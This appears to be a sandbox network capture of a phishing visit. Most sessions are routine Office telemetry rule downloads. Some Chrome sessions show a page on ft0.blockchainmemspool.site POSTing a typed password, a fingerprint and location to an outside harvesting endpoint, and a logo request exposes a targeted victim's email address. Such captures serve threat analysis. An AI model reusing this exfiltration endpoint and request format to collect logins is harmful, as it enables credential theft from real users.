42	192.168.2.4	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:34 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:34 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:34 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: f5d49257-301e-005d-758c-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030734Z-174f7845968nxc96hC1EWRspw80000000w2g00000000ba9u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:34 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49800	185.212.70.145	443	6036	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:35 UTC	557	OUT	OPTIONS /api/authentication HTTP/1.1 Host: icarus.eandjheatingandairs.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type Origin: https://ft0.blockchainmemspool.site User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://ft0.blockchainmemspool.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-27 03:07:36 UTC	758	IN	HTTP/1.1 204 No Content Connection: close x-powered-by: PHP/8.1.27 cache-control: no-cache, private access-control-allow-origin: https://ft0.blockchainmemspool.site vary: Origin, Access-Control-Request-Method, Access-Control-Request-Headers access-control-allow-credentials: true access-control-allow-methods: POST access-control-allow-headers: content-type access-control-max-age: 0 content-type: text/html; charset=UTF-8 date: Wed, 27 Nov 2024 03:07:36 GMT server: LiteSpeed platform: hostinger panel: hpanel content-security-policy: upgrade-insecure-requests alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:36 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:36 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:36 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: ed9dfa2a-401e-0015-7891-3f0e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030736Z-174f7845968kdththC1EWRzvxn00000008t0000000002a7s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:36 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:36 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:36 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:36 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 6eac52fb-a01e-006f-2191-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030736Z-174f7845968swgbqhC1EWRmnb40000000whg0000000061zv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:36 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:36 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:36 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:36 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: c665a67d-901e-002a-1b91-3f7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030736Z-174f7845968xr5c2hC1EWRd0hn0000000d7g0000000077xt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:36 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49801	13.227.8.47	443	6036	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:36 UTC	621	OUT	GET /product-mje%EF%BC%A0ml.avio.co.jp HTTP/1.1 Host: logo.clearbit.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ft0.blockchainmemspool.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-27 03:07:37 UTC	517	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Content-Length: 49 Connection: close Date: Wed, 27 Nov 2024 03:07:36 GMT x-envoy-response-flags: - Server: Clearbit strict-transport-security: max-age=63072000; includeSubDomains; preload x-content-type-options: nosniff Vary: Accept-Encoding X-Cache: Error from cloudfront Via: 1.1 2d4d085f20577a6aef404b4e48f97a1c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BAH53-C1 X-Amz-Cf-Id: TxSzTyqSexxnTi-5876iqg9SdB9v_GgAeFEb1jusKq4DqGnNvCDbjQ==
2024-11-27 03:07:37 UTC	49	IN	Data Raw: 22 70 72 6f 64 75 63 74 2d 6d 6a 65 ef bc a0 6d 6c 2e 61 76 69 6f 2e 63 6f 2e 6a 70 22 20 6e 6f 74 20 61 20 76 61 6c 69 64 20 64 6f 6d 61 69 6e 0a Data Ascii: "product-mjeml.avio.co.jp" not a valid domain

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:36 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:36 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:36 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: dc0e488f-901e-005b-3891-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030736Z-174f7845968psccphC1EWRuz9s0000000wkg00000000by4d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:36 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:36 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:37 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:37 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: ff98645e-b01e-0001-1091-3f46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030737Z-174f78459684bddphC1EWRbht40000000w3g000000008b9q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:37 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49803	185.212.70.145	443	6036	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:37 UTC	684	OUT	POST /api/authentication HTTP/1.1 Host: icarus.eandjheatingandairs.com Connection: keep-alive Content-Length: 111 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/plain, / Content-Type: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://ft0.blockchainmemspool.site Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ft0.blockchainmemspool.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-27 03:07:37 UTC	111	OUT	Data Raw: 7b 22 70 61 73 73 77 6f 72 64 22 3a 22 39 52 32 6a 38 4e 71 7d 36 7b 2e 22 2c 22 72 65 74 72 79 22 3a 32 2c 22 66 69 6e 67 65 72 50 72 69 6e 74 22 3a 22 35 79 43 35 63 6d 63 7a 45 35 57 47 48 68 68 33 42 58 46 74 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 53 22 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 7d Data Ascii: {"password":"9R2j8Nq}6{.","retry":2,"fingerPrint":"5yC5cmczE5WGHhh3BXFt","country":"US","city":"New York City"}
2024-11-27 03:07:38 UTC	642	IN	HTTP/1.1 200 OK Connection: close x-powered-by: PHP/8.1.27 cache-control: no-cache, private content-type: application/json x-ratelimit-limit: 60 x-ratelimit-remaining: 57 access-control-allow-origin: https://ft0.blockchainmemspool.site vary: Origin access-control-allow-credentials: true content-length: 13 date: Wed, 27 Nov 2024 03:07:38 GMT server: LiteSpeed platform: hostinger panel: hpanel content-security-policy: upgrade-insecure-requests alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-11-27 03:07:38 UTC	13	IN	Data Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 33 7d Data Ascii: {"message":3}

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:38 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:38 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:38 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 614103fc-b01e-003e-0d68-408e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030738Z-174f7845968cdxdrhC1EWRg0en0000000wa00000000096uh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:38 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:38 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:38 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:38 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 106d127d-401e-008c-1a91-3f86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030738Z-174f7845968g6hv8hC1EWR1v2n000000046000000000kde9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:38 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:38 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:38 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:38 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: a99e6065-701e-006f-4d91-3fafc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030738Z-174f7845968psccphC1EWRuz9s0000000wm000000000b7h4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:38 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:38 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:38 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:38 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: e9babc56-001e-0049-5291-3f5bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030738Z-174f7845968nxc96hC1EWRspw80000000w6g000000000er2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
